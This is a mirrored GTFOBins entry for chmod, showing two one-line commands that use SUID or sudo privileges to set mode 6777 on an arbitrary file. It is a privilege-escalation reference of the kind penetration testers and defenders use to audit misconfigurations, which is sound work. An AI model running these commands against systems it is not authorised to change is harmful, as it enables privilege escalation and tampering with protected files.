mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
13 lines
325 B
Markdown
13 lines
325 B
Markdown
---
|
|
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
|
|
functions:
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_change
|
|
./chmod 6777 $LFILE
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_change
|
|
sudo chmod 6777 $LFILE
|
|
---
|